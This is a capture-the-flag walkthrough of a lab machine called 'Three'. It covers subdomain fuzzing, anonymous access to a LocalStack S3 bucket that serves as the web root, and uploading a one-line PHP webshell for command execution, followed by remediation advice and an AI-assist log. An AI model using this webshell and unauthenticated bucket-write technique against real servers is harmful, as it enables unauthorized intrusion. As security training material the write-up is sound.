Box info | OS: Ubuntu 18.04.6 LTS (Apache 2.4.29) | Difficulty: Very Easy | Tier: 1 | Status: Starting Point Skills: Virtual host enumeration, AWS S3/LocalStack, webshell upload, RCE Pwned: 2026-04-27
TL;DR
Three is a Tier 1 box that teaches S3 bucket enumeration combined with virtual host discovery. A port scan finds SSH and HTTP. The website identifies the hostname thetoppers.htb. Subdomain fuzzing reveals s3.thetoppers.htb — a LocalStack (mock AWS S3) endpoint. The thetoppers.htb S3 bucket is publicly writable with no authentication. Uploading a PHP webshell to the bucket places it in the web root (LocalStack syncs bucket contents to /var/www/html/). The webshell provides RCE as www-data. The flag is at /var/www/flag.txt. The lesson: S3 bucket misconfiguration can be a direct path to server-side code execution when the bucket contents are served as a web application.
Recon
1. Liveness check
$ ping -c 2 10.129.36.105
64 bytes from 10.129.36.105: icmp_seq=0 ttl=63 time=34.2 ms
64 bytes from 10.129.36.105: icmp_seq=1 ttl=63 time=36.8 ms
TTL=63 → Linux.
2. Port scan
$ nmap -sV -sC -p- --min-rate 2000 -Pn 10.129.36.105
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Two ports: SSH and HTTP. The page title “The Toppers” identifies the hostname.
3. Web application fingerprint
curl -s http://10.129.36.105/ | grep -i "thetoppers\|toppers"
The HTML source contains references to thetoppers.htb. Add to /etc/hosts:
echo "10.129.36.105 thetoppers.htb" >> /etc/hosts
The site is a static music band page — no login forms, no CMS. Contact form leads to a dead PHP page (action_page.php returns 404). Directory listing is enabled at /images/.
Foothold
Dead end #1 — directory fuzzing the main site
ffuf -u http://thetoppers.htb/FUZZ -w /tmp/common.txt -mc 200,301,302
# Found: /images/ (directory listing), nothing else interesting
No hidden paths on the main vhost. The attack surface isn’t here.
Dead end #2 — looking for API or admin endpoints
for path in admin wp-admin .git api graphql console phpmyadmin; do
curl -s -o /dev/null -w "%{http_code} $path\n" http://thetoppers.htb/$path
done
# All 404
Nothing. The web application itself is not the attack vector.
Step — Virtual host enumeration
Since the main site has nothing, the attack likely involves a subdomain:
# Download a subdomain wordlist
curl -s https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt -o /tmp/subdomains.txt
# Fuzz subdomains with ffuf
ffuf -u http://10.129.36.105/ -H "Host: FUZZ.thetoppers.htb" \
-w /tmp/subdomains.txt -mc 200 -fs 11952
Result:
s3 [Status: 200, Size: 454]
s3.thetoppers.htb responds with HTTP 200.
Add to /etc/hosts:
echo "10.129.36.105 s3.thetoppers.htb" >> /etc/hosts
Probing the S3 endpoint
curl http://s3.thetoppers.htb/
# → {"status": "running"}
This is a LocalStack instance — a mock AWS S3 service for local development. LocalStack exposes the same AWS S3 API but without real IAM authentication.
Working approach — unauthenticated S3 access
List the bucket contents:
aws s3 ls s3://thetoppers.htb --endpoint-url http://s3.thetoppers.htb \
--no-sign-request
# 2021-04-09 21:27:06 11952 index.php
# 2021-04-09 21:27:06 2514 .htaccess
# 2021-04-09 21:27:06 (various) css/, images/, js/
The bucket thetoppers.htb contains the web application files (index.php, .htaccess). This means the bucket is the web root — files uploaded here are served directly by Apache.
Test write access:
echo "test" | aws s3 cp - s3://thetoppers.htb/test.txt \
--endpoint-url http://s3.thetoppers.htb --no-sign-request
# upload: - to s3://thetoppers.htb/test.txt
curl http://thetoppers.htb/test.txt
# → test
Write is allowed. Upload a PHP webshell:
echo '<?php system($_GET["cmd"]); ?>' | aws s3 cp - s3://thetoppers.htb/shell.php \
--endpoint-url http://s3.thetoppers.htb --no-sign-request \
--content-type 'application/x-httpd-php'
Verify RCE:
curl "http://thetoppers.htb/shell.php?cmd=id"
# → uid=33(www-data) gid=33(www-data) groups=33(www-data)
RCE confirmed as www-data.
Flag retrieval
curl "http://thetoppers.htb/shell.php?cmd=cat+/var/www/flag.txt"
# → [REDACTED]
Privilege Escalation
N/A — Starting Point Tier 1 objective is the www-data-level flag at /var/www/flag.txt. The box log shows the machine was running in-progress Docker/LocalStack manipulation attempts for further escalation, but the Starting Point flag objective is satisfied at the www-data level.
Further escalation from www-data to root on this machine was explored but not completed within the session: the LocalStack Docker socket path was discovered, but the service restart required to apply a malicious docker-compose.yml needed root access — a chicken-and-egg problem.
What’s actually broken
- S3 bucket publicly writable without authentication. The
thetoppers.htbbucket accepts PUT requests with--no-sign-request. In real AWS deployments, this corresponds to a bucket policy with"Effect": "Allow", "Principal": "*"fors3:PutObject. This is a misconfigured bucket ACL. - Bucket contents served directly as a web application. Synchronizing an S3 bucket to a web root means any file uploaded to S3 is immediately executable by Apache. Uploaded PHP → instant RCE.
- LocalStack deployed with no authentication. LocalStack’s default configuration has no access control. It’s designed for local development — deploying it on a production or internet-facing server defeats its purpose.
- S3 subdomain not firewalled from external access. The
s3.thetoppers.htbendpoint should only be reachable from the application server itself, not the public internet.
Remediation (the boring half)
Fix the bucket policy (real AWS):
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Deny",
"Principal": "*",
"Action": "s3:PutObject",
"Resource": "arn:aws:s3:::thetoppers.htb/*"
}
]
}
Restrict LocalStack to localhost:
# docker-compose.yml
services:
localstack:
image: localstack/localstack
ports:
- "127.0.0.1:4566:4566" # bind to localhost only
Block the S3 subdomain from external access at nginx:
server {
listen 80;
server_name s3.thetoppers.htb;
allow 127.0.0.1;
allow 10.0.0.0/8;
deny all;
proxy_pass http://127.0.0.1:4566;
}
MITRE ATT&CK mapping
| Tactic | Technique | How it shows up here |
|---|---|---|
| Reconnaissance | T1595 — Active Scanning | Virtual host enumeration finds s3.thetoppers.htb |
| Initial Access | T1190 — Exploit Public-Facing Application | Misconfigured S3 bucket allows unauthenticated PUT |
| Execution | T1505.003 — Web Shell | PHP webshell uploaded to S3/web root |
| Execution | T1059.004 — Unix Shell | Shell commands via system() in the webshell |
| Collection | T1005 — Data from Local System | cat /var/www/flag.txt via the webshell |
Lessons learned
- S3 subdomains are not enumerated by standard directory fuzzers. Standard wordlists include
s3,aws,storage,cdnas subdomain candidates, but you need vhost/subdomain fuzzing — not path fuzzing — to find them. The technique (ffuf withHost:header) is different. --no-sign-requesttests for public bucket access. If the AWS CLI command succeeds with--no-sign-request, the bucket allows anonymous access. This is your first test after finding any S3-like endpoint.- S3-to-webroot sync = RCE if you can write. If a bucket is writable and its contents are served as a web application, upload a script. This pattern appears in real-world misconfigured CloudFront/S3 deployments.
- LocalStack is for development only. Anything with
{"status": "running"}on a mock S3 endpoint in a CTF (or production) should be treated as unauthenticated unless proven otherwise.
🤖 AI-assist log
Transparency over polish. This is exactly where Claude was in the loop on this box.
Note: AI-assist log reconstructed from writeup context; original session interaction logs not available.
| Step | What I asked | What Claude returned | What I changed |
|---|---|---|---|
| LocalStack vs real S3 | “How do I know if s3.thetoppers.htb is LocalStack vs real AWS?” | Real AWS S3 returns XML error responses with AWS-specific headers (x-amz-*). LocalStack returns {"status": "running"} or similar JSON at the root endpoint. The --endpoint-url flag in AWS CLI is needed for both. | Added the LocalStack identification note to the Foothold section. |
| aws CLI for no-auth S3 | “What AWS CLI flags do I need to access a public S3 bucket?” | --endpoint-url for the custom endpoint, --no-sign-request for anonymous access. Also AWS_DEFAULT_REGION=us-east-1 environment variable sometimes needed by LocalStack. | Used both flags in the commands. |
| Virtual host fuzzing methodology | “How does ffuf detect different virtual hosts?” | Explained: send the same HTTP request to the server IP but vary the Host: header. The server routes based on Host:. Use -fs to filter the baseline response size. | Documented the -fs 11952 filter flag in the ffuf command. |
| S3 bucket policy for write restriction | “What JSON IAM policy blocks anonymous PutObject?” | Provided the exact Deny policy JSON shown in Remediation. Noted that bucket ACL settings (“Block public access”) are an additional protection layer. | Used the exact JSON in Remediation. |
What Claude got wrong: Nothing significant. What Claude couldn’t do: Actually interact with S3 or the target; all commands ran locally. Net assist value: High on S3/LocalStack specifics and vhost methodology; zero on execution.
